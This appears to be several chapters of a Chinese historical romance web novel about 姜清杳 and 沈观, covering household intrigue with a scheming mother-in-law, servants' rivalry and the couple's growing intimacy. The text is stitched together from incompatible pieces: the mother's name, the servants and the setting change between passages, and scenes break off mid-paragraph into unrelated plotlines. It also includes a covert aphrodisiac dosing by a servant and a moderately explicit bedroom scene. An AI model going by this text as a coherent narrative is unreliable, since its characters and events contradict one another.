孟夫人便吩咐芮妈妈: “这时气好染病,且不易好,你安排下去,请个郎中好生瞧了,别再过了病气给府里人。” “是。” 姜清杳念着院儿里两个病人,见孟夫人安排去请郎中,松了不小的心,道谢后便往小院儿回去。才进去就听见采薇伏在沈观床头哭。哭声缠绵,不像是心疼,倒更像委屈。 姜清杳就不明白了,沈观病了,她委屈什么?是因为昨晚沈观推了她一下,让她回去? 姜清杳进门,采薇擦擦眼泪站起来,背朝沈观,看向姜清杳的神情满是厌恶,语调却柔软带着祈求: “爷病了,阿瓜也病了,我一人伺候不来,这种时候,你也别脱懒了。” 姜清杳看着采薇,莫名想笑。没等她笑出来,沈观就说话了: “你回去歇会儿吧。” “爷,我不累。” 采薇回头,却看见沈观是看着姜清杳的。顿时咬紧了牙根。 “一会儿郎中就来了,还是等爷吃了药我再歇吧。” 姜清杳倒水送过去,沈观咳嗽几声,听着还挺深。巳时芮妈妈带郎中过来时,沈观又已昏睡过去,采薇霸在床头,哭着守着沈观,芮妈妈一进来瞧见姜清杳坐在外稍间,采薇在房里,顿时怒道: “你一个下人丫头,献的什么殷勤?这屋里除了六爷,还有姜姑娘做主呢!还不滚出去!” 采薇落荒而逃,显然的欺软怕硬。 郎中给沈观看诊,芮妈妈便与姜清杳在外稍间说话,言语间的暗示极为明显,姜清杳心不在焉的应着。等郎中出来,又求着去西厢给阿瓜看了,二人倒是一样的症状。 瞧过病,姜清杳要送郎中,芮妈妈却拦住了: “这是咱们府上贯用的先生,不必姑娘费心了。姑娘还是好好照料六爷吧。” 她便与先生出了院子。将人送到半路,安置小厮送郎中出府前,芮妈妈悄声与郎中道: “先生,我家六爷身子弱,经不得虎狼药,慢慢儿来就成。他近来劳累,倒是叫他多歇歇才好。再者……” 芮妈妈眼含暧昧的凑近,与郎中私语几句,郎中一副了然之色,点点头走了。 晌午大厨房送饭过来的时候,就带了两碗药。沈家惯例,病了只吃粥养胃,送来的也是白粥。姜清杳叫醒沈观,先叫他吃了药,再伺候着吃了粥,冬儿在细想照看阿瓜,采薇却是被芮妈妈骂过后,竟吓得跑了。 沈观吃过药,没看几眼书就发困,但才躺下,就觉着很热。 那是一种从心里烧起的热,让他生出一种陌生的渴求,他掀开帐子,就看见正在关窗户的姜清杳,眼光便不受控制的落在她粉润的菱唇上,又渐渐下移,雪白纤细的颈子,以及之下…… 芒种这日。沈观不逢休沐,早起出门前,硬是将姜清杳唤得半醒,叮嘱她,今日是两人约好的,沈观要给姜清杳做晚膳和长寿面的,要她不许多吃了零嘴,没得到时候不吃他做的膳食了。 姜清杳答应了。 沈观还是不怎么放心,姜清杳被他弄得半醒也都清醒过来了,别过脸去,莫名道:“彼此彼此。” 沈观怔了下。 姜清杳就幽怨说:“看样子,我在你这里,也没什么信任可言了。” 沈观不知节制,每回近了姜清杳的身,给她承诺,姜清杳都不信呢。沈观还颇有些幽怨。可你瞧,沈观这儿,姜清杳躲着他用零嘴的次数也不少,因此这人在这方面对她也不太信任,以至于这会儿反复叮嘱。 可不是彼此彼此吗。 第 69 章 一万收藏加更 沈观莞尔,任由姜清杳倒头又睡,反倒放下心来。 有些高兴。 为着和姜清杳的又一点相同。 一旁跟着的小伍默默扭过头,没眼看公子傻乐的样子。 芸香半夏知道沈观今日要动手做晚膳,很稀奇:“姑爷会吗?” 姜清杳在修剪花枝。前儿夜里姜清杳是跟在沈观后头一路回来的,并没瞧清他的脸。沈观正收拾书: “东厢给你住,我把东西搬走。” 姜清杳讷讷让开路,看还有几本书,就过去搬。但还没碰上,就听见一道软声: “别动。” 姜清杳扭头看见位姑娘,生的温婉,哪怕现在带着怒气,也仍旧是温柔的。她蹙眉埋怨: “要不是你,六爷怎么能受罚。” 姜清杳诧异,那姑娘捧着书走了,姜清杳就见前头走着的沈观脚步缓慢,仿佛不良于行。这是发生了什么与她有关的事,还连累了沈观? 崔婆子说沈观院子只有小厮阿瓜和婢女采薇,但采薇是沈观生母施姨娘的侄女,将来只怕也要收房。姜清杳悄悄打量采薇,不像昨日在院门处盯她的人。 采薇并不住在这院子,伺候与伺候也不一样,她是婢女,而非通房。听说沈观心疼表妹,并不叫她时常伺候,如今两三日才见她在院子里头回现身,看来崔婆子说的是真的。 姜清杳如今毕竟要仰赖沈观鼻息,遂将桌上笔墨收拾了往正房送。 采薇在门口堵住她,夺去她手里东西,但力气大了些,砚台里的残墨泼出来,刚好泼在来接砚台的沈观身上。月白的衫子顿时几处斑点。阿瓜慌着去擦,但墨早泅透了,阿瓜叹气: “嗐,就没几件能见人的好衫子!” 采薇看一眼姜清杳,才朝沈观内疚道: “爷,都怨我,不干姜姑娘的事,您别生气。” 沈观瞧身上的墨点,神情一如往常的淡漠,叫人瞧不清喜怒。 姜清杳抿了抿嘴,采薇这话说的,叫人没法儿再解释了。 沈观回房换衣裳,自始至终看也没看姜清杳一眼,姜清杳也转头出去了,阿瓜看她径直出了院子,撇嘴道: “忒不知礼,把爷衫子都弄坏了,连错儿都不认,还跑出去。” 采薇正催促沈观换衣裳,等沈观换下衣裳,采薇又难受了半晌。没多大会儿姜清杳回来了,后头跟着个婆子,提了一壶热水。姜清杳与阿瓜道: “给爷敷敷腿吧。” 阿瓜看着热水发呆。 沈观院子从来只用份例,多一点儿都别想。譬如一整个夏天,大厨房也只三天供一回洗漱热水,但姜清杳偏就要来热水了。 沈观坐在床头温书,阿瓜撩起他裤腿热帕子贴上去,他嘶了一声才问: “哪儿来的热水?” “姜氏讨来的。” 沈观看着贴在自己膝头的热帕子,兀自出神。采薇瞧着,低低叹了口气: “她眼睛倒利,看出爷今儿腿不舒服。” 阿瓜顿时想起主子今日腿不舒服,还是因二爷为姜氏迁怒六爷,联合书院几个纨绔给六爷下套,害的六爷被夫子罚在静室面壁一夜。 显然沈观也想到了,面色沉了沉: “天色不早了,你回去歇着吧,我这儿也没什么事。” 采薇拿起沈观换下的衣裳: “好,奴婢把衣裳洗了去。” 但她出来后,却朝东厢去了。 “爷衣裳脏了,我来了小日子,不好碰冷水,你能给爷洗洗衣裳么?” 她温言软语,姜清杳扭头去看她时,她已将衣裳放下了。姜清杳看着衣裳: “好。” 采薇淡淡笑了笑: “多谢了。” 姜清杳也笑了笑: “说笑了,我是六爷房里人,给六爷洗个衣裳不值什么,当不得你谢。” 采薇脸色一沉就走了。姜清杳看她背影,抿了抿嘴,她也不是泥人,没那口气,你来我不往的。但也可见采薇极在乎沈观,否则不能才见面,就敌意这么盛。 姜清杳虽从前见过府里下人洗衣裳,但自个儿洗还是头回,到底搓红了手。这边才将衣裳晾了,谢姨娘就扭着腰肢进来了。 “呦,我可是白操心了,姑娘可真殷勤。” 姜清杳同她见礼,她受过礼才道: “咱们都是一样的人,我可当不得姑娘的礼。” 她上下打量姜清杳几眼,悄声道: “离家背井,真是可人怜,不过女人嘛,总有出门子的那天。咱们这样的人,没宠爱可就没法过活。六爷是个性子冷的,你呀,多花点心思。” 她扫一眼正屋,姜清杳脸就红了。但谢姨娘的到来也验证了姜清杳之前的猜测。作为孟夫人的狗腿子,谢姨娘一言一行都显露着孟夫人的心思。快会试的儿子,做母亲的却想他耽于女色,显然安着叫他失利的心。 连她都猜到了,沈观还会不明白? 晚饭后沈观照例去春晖阁请安,姜清杳等他回来就揣着东西往正屋去了。不管沈观待她什么心思,她该做的事是必须要做的。 沈观正要换衣裳,见她进来,立刻沉了脸: “不用你伺候,你下去吧。” 姜清杳颌首低眉,局促的绞着帕子: “爷,我能在东厢放张小床么?” 沈观没想她来竟是为着这个,神色这才缓了缓: “你随便。” 姜清杳又嗫喏道: “我爹今日,给我留了些银子。” 说着将两张五百两银票放在小桌上,阿瓜顿时抽了口冷气。不怨他眼皮子浅,只怕谢姨娘都没什么机会见五百两一张的银票。 沈观知道姜家送女来的意图,看来没能把姜清杳送到老爷身边,这是要另辟蹊径。可转念一想,老爷允准姜家送人过来,不也是隐晦的表明,愿意收姜家的好处? 沈观在沉默的已经让姜清杳渐渐失去希望时,才同阿瓜道: “去看看老爷在哪。” 阿瓜飞也似的跑了,沈观拿起银票: “我可以帮你送去,但老爷收不收,我不能保证。” “爷肯替我奔忙,我已然感激不尽。” 沈观点了点头。 姜家的事顺利,这姑娘或许也不必听孟夫人的话,对他使什么魅惑手段。 得知老爷在前院书房,沈观就出去了,小半个时辰回来,在东厢门口同姜清杳说了结果。 沈尚书留下银票了。 诚如姜清杳猜测,不会留把柄的银子他还是收的。且沈尚书留一张银票,让心腹将剩下一张给孟夫人送去。 孟夫人看着银票笑了笑: “是个聪明的就行。” 姜家做的锦缎生意,铺子里三六九等,富贵人家与平头百姓的生意都做得来。今年头回遴选,姜家锦缎进宫已然留了牌子,预备帝后亲自择选。但姜泰来打听的时候,沈尚书特意没把话说明。 瞧瞧,这好处不就来了。 芮妈妈把银票锁进孟夫人箱子: “听说姜家还给内务府徐总管送了个姑娘去。” “那也送到徐总管心上去了。他虽算不得男人,却也盼着有妻有子的过日子呢。可惜京里人再巴结奉承他,总怕他怀疑是嘲讽,谁都不敢送姑娘。” “那姜家这事,大约也成个差不多了。” “他家的锦缎要不好,老爷又怎么会吊着他。你且瞧着吧,这才开个头罢了。” 沈尚书收了银票,姜清杳也睡个好觉。早起照样不见沈观踪迹,摸着沈观衫子已经干透了,看前襟到腰侧几个墨点。昨日沈观帮她送了银票,她总得投桃报李,就翻箱子把她的丝线找出来了。 绣了大半,崔婆子来找她。 “姑娘,你家里送人送东西来了。” 不怪崔婆子眼热,哪怕在官宦人家为奴,但总富不过商人。姜清杳进门才第四天,角门和大厨房就都盼着能有与她瓜葛的差事。 姜清杳跟崔婆子去了,冬儿又带来两口箱子,崔婆子就觉着六公子这偏僻寒酸的院子仿佛要镀金了。 姜清杳清点了,一箱寻常锦缎,一箱名贵的浣花锦,三百个银锞子,二十个五两的元宝,两张二百两银票。 姜泰亲自送来的,姜清杳就在角门与姜泰悄悄说了沈尚书收了银票的事,姜泰喜不自胜,把预备好的红封给了她。姜清杳偷偷解了一看,是五千两银票。 姜清杳心怦怦直跳。 这些银子花出去,姜家的事若连个水花儿都没,她爹就不会再管她的死活了。 她吸了口气,打点精神,装了一百个银锞子,又选了两匹浣花锦叫冬儿抱了,就朝春晖阁去了。 孟夫人才理完庶务,正吃着西瓜。姜清杳在小偏厅见礼,接了一匹浣花锦在手: “太太,这是咱们自家铺子的浣花锦,我爹说瞧着颜色尚好,也不知能不能入太太的眼,若能做成衣裳穿在太太身上,也算是它的福分了。” 孟夫人早瞧见了,浣花锦在盛京可是有银子也未必能买到的名贵布料,花色也衬她,她笑笑: “难为你父亲有心了。” 芮妈妈叫人接了,姜清杳又开了匣子道: “这是咱们南边儿锞子新样式,旁的倒罢了,我瞧着倒好看些,孝敬给太太打赏也好用些。” 一片银光闪闪,芮妈妈接过去凑到孟夫人跟前,孟夫人捏起一个看着慢慢点了点头: “是新巧。” 她将银锞子丢回匣子就看向冬儿,姜清杳才道: “太太,这是从前伺候我的小婢,是姜家家生奴才,我能留下她么?” “不是什么大事,你喜欢就留下吧。” 姜清杳喜出望外: “多谢太太。” 孟夫人看着姜清杳淡淡的笑,她满足了姜清杳的心思,往下就该姜清杳满足她的心思了。她吩咐芮妈妈: “姜叔主仆如今都算六郎房里人,你依着惯例安排下去,房里的事,也要打点稳妥。” 转头又与姜清杳意味深长道: “你只要伺候好六郎就是了,旁的啊,一概不必费心。” 姜清杳就觉着咬了苦胆似的,笑着应声。 芮妈妈办事稳妥,午后就有婆子送来两张小床并一个柜子,姜清杳打赏了,请她们帮忙将书柜书桌抬去沈观外稍间。既把书房挪去了外稍间,东西自然该搬过去。昨夜见他就着小桌,书也都在箱子里。何况东厢也并不大,要摆两张床和柜子,书桌书柜就必须挪出去。 沈观从书院回来已是酉时四刻,进外稍间就怔了一下,待进屋换衣裳就看见昨日换下被墨污了的衫子上,一支墨梅跃然而上。 沈观拿起细看,几个墨点都化成梅花,开在一支虬枝上,淡雅至极。昨儿是采薇拿走衣裳,阿瓜凑过来看着笑: “呦,采薇姐姐这心思可真巧。” 偏巧采薇这时候进来,看见衣裳上绣的花后,脸上笑容顿时凝滞。她倒想冒认,但稳妥起见,她只笑笑,不承认,也没否认。心里倒有些后悔昨儿想给姜清杳个下马威的举动。 正这时候,姜清杳进来了,沈观转头看过去,看姜清杳的眼神,有些意味不明。 闻言,想了想:“应该会吧,他之前做了荷叶粥。” 最好的话痨小狗开关,见效颇快。 姜清杳一鼓作气,打算把十次都亲了。 却被沈观用指尖压着唇,制止了。少年笑吟吟:“我今日只用一次机会。” 沈观和她拉钩:“还有九次,清杳记着,我要用机会的时候,可不许耍赖。” 姜清杳不解:“你留着做什么?” 沈观心虚的移开眼。 自然是清杳生气的时候,一次一次省着点用。这样清杳恼着,只要他用了机会,也会来亲他了。 少年精打细算着剩下的九次机会。 第 70 章 第 70 章 沈观心里这样想,但不能明着和姜清杳说,嘴上很冠冕堂皇,替姜清杳考虑的说:“清杳今日累了,该早些睡。” 少年笑:“若是亲了十次,我可不敢保证清杳是今日睡还是明日睡。” 他话里有话。 沈观凑过来:“还是清杳也想明日睡?” 他的明日睡,是什么意思,姜清杳几乎是立刻就反应过来了。不知道多少次,她被他缠着第二日凌晨才睡,一直睡到午膳时候醒来仍是困倦,但沈观却好像更神采奕奕了。 姜清杳脸通红,抓了一旁的软枕就打他。 一点也不疼。 沈观到华阳居时,李氏房里正在摆膳。 他一进屋,就见姜清杳立在桌边,纤纤玉手捧过菜碟放到桌上,而母亲身边仆婢环绕,却不动手,只让她一人做事。 李氏见了自己儿子,唇角扬起笑意,起身温和道:“你来了,正好陪我用膳。” 沈观心中抽痛,但却还是躬身行了一礼,而后直起身子,道:“母亲,我有事寻杳儿。” 李氏诧异瞥一眼姜清杳,见她低垂着脑袋,一脸乖觉,便摆手道,“也罢,你们小两口回去吧。” 待两人一走,李氏身边一位高胖的嬷嬷小声道:“夫人,奴婢瞧着公子,似乎对少夫人上心了。” 李氏哪能看不出,从早上儿子派人过来,她便隐约有所猜想。 姜家虽然门第低微,可这姜清杳却实在生得美,饶是她活了这么大岁数,见过无数美人,包括宫内的娘娘,也比不过她去。 李氏不得不承认,这姜清杳天仙之姿,儿子被她勾住了心,也是常理。 可这男人啊,她再明白不过,红颜未老恩先断,哪个不是贪图新鲜的。 “等过些日子,给公子抬两房妾室,他也就分心了。”李氏缓缓道。 高胖的嬷嬷正是银烛的娘,听见夫人如此说,自是喜不自胜,她们家银烛,可是内定的侍妾呢。 回听竹院的路上,沈观将姜清杳冰凉的手拢在掌心,一时间又气又心疼,走得远了,才忍不住训道:“都说了让你今日别去母亲院子里,你怎的就不听?” 姜清杳小声辩解:“侍奉婆母是儿媳的本分,我不能乱了规矩。” 沈观瞧她这逆来顺受的模样,气得呼吸都窒住了,缓了又缓,还是忍不住关心道:“肚子还疼么?” “不疼了。” 其实还疼的,可是姜清杳不想说,也不能说。 自古以来,婆母给媳妇儿立规矩,几乎无解,一个孝道,就能压死人。 夜里,姜清杳站了一日,小腹坠痛,即使沈观的手缓缓按揉着,也还是痛。 姜清杳强忍着不说,只缩在沈观怀里沉默忍受。 “好些了么?”沈观柔声问道,身子更贴近一些,下颌不经意贴到姜清杳额头,触到一片冰凉的冷汗。 沈观霍然坐起,惹得姜清杳紧闭的眸子颤颤睁开,唇边逸出细碎呻吟,“夫君……疼……” 这一声轻呼,使沈观陡然变脸,他唤人进来点亮火烛,这才看清姜清杳疼得汗湿的脸。 她澄澈的双眸湿漉漉的,墨发沾在羊脂白玉似的脸上,破碎而凄美,一贯点樱似的朱唇变得苍白,此刻她绻着身子,贝齿咬住唇瓣,娇弱又倔强。 一种涩涩地疼痛如潮水般冲击沈观的心房,汹涌翻腾,堵得他发不出声来。 姜清杳忍痛挪到沈观身旁,伸手去抓住他的衣摆,怕他又要去寻大夫,颤声道:“夫君,我没事……” 今夜当值的是晴天和银烛,晴天瞧这模样,立刻灌了热汤婆子来,置在姜清杳小腹下。 沈观坐在床沿,伸手揽过姜清杳抱在怀中,眸色沉沉。 成婚这几日,姜清杳眼中所见的沈观,总是温润谦和的。而现在他薄唇紧抿,眸光冷洌,没来由使她感到害怕,一股风雨欲来的压迫感扑面而来。 “夫君,我好些了。”姜清杳小声喃喃。 沈观手臂微动,把姜清杳放到床上,替她细细盖上被子,又唤银烛端来热水,亲自拧了巾帕给她净脸。 姜清杳被他照顾着,心中又甜又涩,他这样好,即使被婆母百般刁难,也没有那么难受了。 折腾到半夜,姜清杳总算睡着了。 然而沈观却了无睡意,他侧躺在姜清杳身边,手上缓缓给她揉着小腹,如玉般清贵的脸上,凝着森然冷洌的风雪。 翌日早晨,姜清杳因心中惦记着,没睡得很沉,所以沈观一起身,姜清杳就醒了。 沈观见她醒了,俯身在她脸颊上亲了亲,声如温玉:“你别动,让她们来就好。” 姜清杳不依,撑着身子要起来,被沈观一把按住,“又不听话了!” 在他坚定的目光下,姜清杳只好躺下,侧身静静瞧着他。 走前,沈观再次叮嘱姜清杳在家好好休息,但瞧她这模样,估计又不会听自己的。 出了听竹院,沈观脚下一顿,转去沈夫人的华阳居。 李氏正服侍沈大人换上孔雀补子绯袍,听到外头丫鬟禀报,“公子来了。” 沈政轻咦一声,见沈观进来,便问:“怎的到这边来了。” 沈观一身青色常服,端的是眉目疏朗,人间玉郎。 他躬身给双亲行礼,起身后目光先是望向自己母亲,而后又转眸看着父亲,道:“儿子有事请教父亲。” “哦……”沈政略一思量,“那我们边走边说,别晚了时辰。” 说着,沈政率先朝外走去,沈观跟在后头,在即将跨出门槛时,他转身,抬首望着李氏,道:“母亲,杳儿身子不适,今日您多照看着她。” 李氏听着这句,气得身子发颤,瞬间明白他早晨殷勤过来,并不是寻他父亲,而是为了来跟自己说这么一句话。 沈观的目光停在自己母亲脸上,见她不答,定了几息后,利落转身,面色瞬息沉了下去。 翰林院散班后,沈观仍旧坐在自己的位置上,他先时谴沈延回去探听消息,这时候也该回来了。 果不其然,沈延此刻逆着散班官员的人流,往沈观这边赶来。 待人走得差不多了,沈延小声禀报:“公子,少夫人今日还是在夫人院子里立规矩。” 沈延说完,见自家公子面色如常,似早已料到,沈延疑惑,那为何又叫自己回去查探? 今日天色还是灰蒙一片,外头寒风肆虐,值房里,火炭偶尔发出筚拨声,惹得火星蹿动。 沈延站在沈观身后,大气不敢出。 只见沈观坐定良久,而后抬手,拿过一道空白折子,提笔上书,神情凝重。 沈观来到华阳居时,正好又撞见饭点,姜清杳还如昨日那般,在一旁殷勤摆膳。 见他来了,姜清杳羞愧低头,不敢看他,她又不听他的话了。 “母亲。”沈观行礼问安。 李氏见他如往常一般,行止有度,晨间的那一点恼怒,便消散许多。 “你回来了,坐下用晚膳吧。” 李氏是故意的,她就是让儿子亲眼瞧瞧,何为孝道。 沈观听了这话,立在一旁并未落座,眸光转向姜清杳,声音清凌,“杳儿,过来。” 姜清杳心中一凛,鹿眸先是朝李氏探去,见她板着脸,略一沉吟,终究走到沈观身旁,语带疑惑,柔声唤他:“夫君?” 沈观垂眸,握住姜清杳的手,触到她指尖一片冰凉,他的眉梢便攒了起来。 片刻后,沈观抬首,直视李氏,“母亲,儿子有事跟您说,让她们都下去。” 李氏目光锐利地落在两人交握的手上,好半晌,她摆了摆手。 很快,屋内的所有婢妇们都出去了,只剩下他们三人,李氏坐在桌前,沈观和姜清杳站在下首。 室内气氛压抑,姜清杳紧了紧手,被沈观的大掌柔柔安抚着。 一片静默中,沈观缓缓开口,“想必母亲院子里的人,都是不会服侍人的,明日儿子将她们发卖了,再换一批新的进来。” 姜清杳一惊,惶恐望向自己夫君,尔后又转头望向李氏。 而此刻李氏已然怒气上涌,她猛地一拍桌子,喝道:“反了你了,竟被一个狐媚子勾得失了魂!” “母亲,注意您的言辞,她是我三书六礼,明媒正娶的妻!”沈观沉声道。 李氏活了这么大年纪,一生顺风顺水,老了却被自己儿子教训,她怒极反笑,厉声诘问:“书都读到狗肚子里去了,哪个圣贤教你这么跟母亲说话的!” 沈观眸色冰寒,声音冷冽,“是,家宅不宁,我不配为官,回府时,我已写了辞官折子上呈陛下,明日我便亲自过来服侍您,日日在您跟前尽孝。” 李氏最看中儿子的仕途,在他的官身面前,所有的一切都得靠边站。 这时听见他说辞官,李氏显些晕厥,她身子踉跄地晃了几下,双手撑住桌面,才险些没有跌倒。 “你、你……”李氏颤手指向沈观,却是一句话也说不出来,她知道自己这个儿子,一向言出必行。 “儿子告退。”沈观恢复一贯的端方,稍一躬身,而后携姜清杳转身便走。 李氏望着两人背影,急急呼唤,“快去!叫老爷把折子拦下来!” 李氏心中惶惶,急得跺脚,来得及,来得及,只要把折子拦下来,他儿子就还是清贵的翰林学士。 沈政散班后,正在馆子里跟人吃饭谈事,听到管家焦急来报,黑着脸立即赶去通政司拦折子。 奔波一个多时辰,沈政总算把原本要上呈的折子给收了回来。 华阳居里,沈政背着手,在房内来回踱步,他怒火炽盛,指着坐在椅子上的李氏,恨恨道:“你说你!没事折腾她做什么!” 李氏嘤嘤抽泣,哭着辩解:“自古媳妇服侍婆母天经地义,我哪有折腾她。” 沈政见她不知悔改,气得胡须一抖一抖的,“你说,自你嫁来沈家,我母亲叫你做过哪件事?你不是折腾她是做什么?” 李氏一肚子委屈,老太太对她慈爱,那是看在她娘家也是百年世家的份上。 沈政见她一脸倔强,显然不听,又踱步几圈,沉声道:“儿子长大了,你顺着他便是。” 李氏身居后宅,并不懂沈观在年轻士子心中,已然群龙之首,如此再等数十年,他们沈家又可再出一位阁臣,首辅之位更是指日可待。 李氏忽的悲从中来,哀戚道:“如果煜儿在世,怎会让我……” “够了!”沈政喝断李氏的悲哭,一甩手,沉着脸往书房而去。 出了华阳居,沈观和姜清杳并肩走回听竹院。 两人都没有说话,夜色昏蒙,寒风凛冽,风灯在小径两边,默默闪烁橙光。 姜清杳心中震动,眼眶里满蓄热泪,心中汹涌的感动,竟找不到一句感谢的话来告诉他。 只得握住他的手,手指穿进他的指缝里,十指交握,掌心相贴,紧紧的,密密的。 暗夜里,高大的身躯掩映着一道雪白娇弱的身影,无声替她阻拦风雪侵蚀。 回屋后,沈观替姜清杳解开她身上的白狐大氅,低声道:“明日可别再过去了,我也是要脸的,今日闹了这一出,你明日上赶着去,别人该看我笑话了。” 姜清杳一眨眼,泪珠像断了线的珠子似的颗颗往下坠,她猛地扑进他怀中,涩然唤道:“夫君……” 沈观被她撞得身体微微后仰,旋即长臂拥住她,垂首,下颌搁在她肩颈,叹息道:“让你受苦了。” 姜清杳在他怀中摇头,泪珠落在他墨色大氅上,“夫君,你怎么这样好……” 沈观眸光清浅,双手捧住姜清杳的脸颊,见她无暇粉靥的上布满泪痕,疼惜地替她一一拭去,“别哭了,会变丑的。” 姜清杳破涕为笑,很快又担心起来,知他人品贵重,说写了辞官折子,就肯定是写了的。 “你不该为了我辞官的。”姜清杳心中虽然感动,但更多的是担忧和愧疚。 沈观洒然一笑,不想她担心,便道:“放心,父亲会处理的。” 姜清杳听着,心中仍旧惴惴难安。 两人各自更衣净面,用了晚膳后,沈政书房里的小童却来了。 “公子,老爷请您去书房。” 说是避雨,也只是雨点少挨了些。 沈观抱着姜清杳在怀里,见她唇色也发白,皱眉摸了摸她额头,已经滚烫起来。 已经有些烧热了。 不能再在这处了。 沈观抬头看,不远处的岩石摇摇欲坠了。姜清杳手心冰冷着,已经没有什么力气了,捂着肚子疼的眼泪掉下来。 沈观将自己外衫脱下,又将中衣脱给姜清杳裹住,把少女打横抱起,朝南边山沿里走。 想要先找一处山洞避一避。 70-80 第 71 章 第 71 章 雨势太大。 怀里的少女冷得打颤,躲在沈观衣下。 周围的山泥滑落下来,倾倒而下,让人躲都躲不及,泥里混着大小石块,从一旁随着豆大的雨滴打在少年肩上,有些生疼。 沈观蹙眉,闷哼一声,视线微抬,还有更多的落石摇摇欲坠。 少年压低身子,将怀里的人护得密不透风,姜清杳听到他的声音,微微抬眼,有些担忧的看向他,纤手攥着他衣襟。 很微弱的力道。 沈观却第一时间低下头,和姜清杳对视,摇摇头:“没事,踩到个小石头。” 红罗帐内,衣衫散落,冰肌玉骨,点点嫣红。 支摘窗外,明月羞隐。 过了许久,沈观喊了声:“水。” 待婢女们备好水,退了出去。沈观才起身下床,用自己的长衫裹住姜清杳,抱着她去了浴室。 姜清杳依旧徐徐喘息着,一双鹿眸半睁半闭,浑身酥麻胀痛,使不上一点儿力气。 沈观抱着她,坐在浴桶边的长凳上,想替她剥开衣裳,放她进水中,却见姜清杳一双白嫩的小手,自胸口的衣衫下伸出,紧紧攥着衣襟。 姜清杳双目迷离,颤颤开口:“你、你出去。” 沈观轻笑,俯身去吻她被欺负得红肿的唇,“现在知道怕羞了?” 姜清杳哼声,分出一只手在衣衫下推他。沈观眉梢微挑,起身,将姜清杳连同包裹着身体的长衫,一同放入浴桶中。 温热的水流使姜清杳疲惫的身体舒展,可他怎么还不出去,她拢着衣襟的手不放,正想叫他走开,却见他抬腿也要进来。 姜清杳赶紧闭目,他、怎么不穿衣裳! 水波荡漾,他的身子重,一进来,便将水位压高到姜清杳锁骨下。 沈观瞧她这娇娇模样,心间便似被羽毛轻轻撩拨,又痒又酥。 长衫轻飘飘浮在水面上,沈观手上一用劲儿,便将衣衫夺了过来,在姜清杳小小的惊呼中,扔到地上。 他伸手,握住姜清杳手臂,将她拖到自己身前困住,声线低哑:“羞什么?还有哪里是我没看过的?嗯……” 他这一个尾音,从鼻间发出,落在姜清杳耳中,万分撩人。 姜清杳身子一颤,咬唇伏在他坚实的胸膛,闭目不答他。 沈观伸手剥开她贝齿下的唇瓣,又问:“还疼不疼?” 这一句,使得姜清杳面色轰然涨红,她捏拳捶在他胸口,娇叱:“别说了。” 沈观蓦地低声笑开,“好,我不说。”却在水中伸手往下,“我看看总行吧。” 姜清杳攀着他的手臂惊呼,沈观眸子攥着她,不放过她脸上细微的表情,他手上轻轻撩拨,但见她红唇微张,眉梢深蹙,心中便有了答案。 片刻后,他收回手,又将姜清杳紧紧揽进怀中,两人肌肤想贴,他说:“抱歉,我弄疼你了,一会儿我给你上药。” 一种尘埃落定的感觉,在姜清杳心中升起,她忍不住仰头,去亲他。 沈观垂眸,但见她眉间炽眼,水眸潋滟,身上凝脂雪肤上,是斑斑点点的红痕。 他呼吸一窒,心思又起,但念着她初次,便只浅浅回吻她,心中忽而想到他们成婚半月有余,暗骂自己真是糊涂,竟浪费这许多欢愉。 翌日清晨,姜清杳醒来,睁眼定定望着头顶床幔,想到堂姐那句:睡了一觉后,什么都不一样了。 侧目望向身旁之人,姜清杳不禁莞尔,果真什么都不一样了。 待沈观醒来,又要给姜清杳上药,吓得姜清杳缩在床角,双手紧攥着小裤,死活不肯。 青天白日的,也太羞人了! “你昨日那样、那样上药,我已经会了,待会儿我自己来就行。”姜清杳声音微弱,娇躯颤颤。 沈观无法,只好放弃。 换了常服,用了早膳,出门时,俯身在姜清杳耳边低低提醒,“记得上药,记得想我。” 姜清杳羞得不行,双眸做贼似的扫视屋内婢女,见她们各做各事,并不关注她这边,姜清杳在踮脚,在他侧颊上飞速印下一吻,小声回他:“会想你的。” 沈观得到满意的回答,唇角微扬,春风得意上值去了。 午后,姜清杳休息了一整日,身上好了许多,醒来听见屏风后杏子和晴天她们低声说着什么梅花、梅园的。 姜清杳便坐起身,问:“什么梅园?” 婢女们听到问话,忙从屏风后转出来,杏子喊少夫人,晴天和小雨喊小姐,都围到床前来,关切问道:“怎么样?好些了么?” 一夜间,仿佛所有人都知道他们两人圆房了,姜清杳又害羞了,但在婢女面前,到底要拿出个主母的姿态来,便强作镇定,道:“好多了。”说完这句,就立刻转移话题,“沈家有处梅园么?” 杏子便回:“有的,在北面三夫人院子后面。” 小雨趁机插言:“小姐,我上午跑去看了,真的好大一片园子,各色梅花,树又高又多。” 姜清杳瞧见外头天光大亮,又是一个太阳天,有些想去赏梅,但身上到底不适,便又恹恹垂下脑袋。 晴天是个心细的,见姜清杳如此,忙说:“要不叫小丫鬟们剪些梅枝来插瓶,我们明日再去赏花?” 姜清杳点头,小雨雀跃道:“我去我去,我带她们去。” 姜清杳嗔她:“淘气!” 小雨也不怕,嘿嘿一笑,便跑出屋子,口中点上几个名字,欢欢喜喜剪梅枝去了。 这模样,惹得屋内主仆相视一笑。 姜清杳起身,漱口净面,换了衣裳,坐到窗边软炕上看游志。 晴天觑着内室里别无他人,便小声说:“小姐,昨夜银烛被杖打二十,撵出府了。” 姜清杳小声“啊”了一下,银烛好歹在他身边照料起居五、六年了,昨夜之事,她以为顶多就是把人撵出去而已,没想到还会被打。 “昨夜公子生了好大的气。”晴天说。 在他沐浴前,姜清杳在床上是听到他走出去了,便问:“他骂你们了?” 晴天摇头,只说:“公子不言不语,只是站在哪里,就让人害怕。” 姜清杳蹙眉,他有这样可怕? 这时珠帘颤动,婢女福橘端进来一方小瓷盅,她先是将瓷盅轻轻放到姜清杳身前的小方桌上,尔后柔声道:“少夫人,您吃燕窝羹。” 姜清杳放下书本,一边起身,一边道:“还是拿到外间去吧。” 跟进来的杏子听了这话,身体机灵灵一颤,忙上前挽住姜清杳,手上用着巧劲儿使姜清杳又坐了下来,“没事没事,您在哪里吃都行,公子真不计较,只要您舒心就好。” 姜清杳瞧她这紧张模样,便也坐下不动了,接过福橘递来的小瓷勺,缓缓吃着。 待姜清杳吃完,杏子见她身边有晴天和福橘伺候着,便趁机往银烛家里去。 银烛被打了屁股,此刻正趴在床上,她的娘亲王嬷嬷坐在床边,恨铁不成钢地骂道:“你瞧你,我让你别冲动别冲动,这下可好,被打了,被撵出来了吧!” “人家说什么也是主子,能让你指着鼻子骂?这好好的姨娘没有了,你又被打了板子,还是公子让打的,府中体面些的小子,哪个敢要你……” 翻来覆去的几句话,从昨夜银烛回来后,就在她耳边叨个不停。 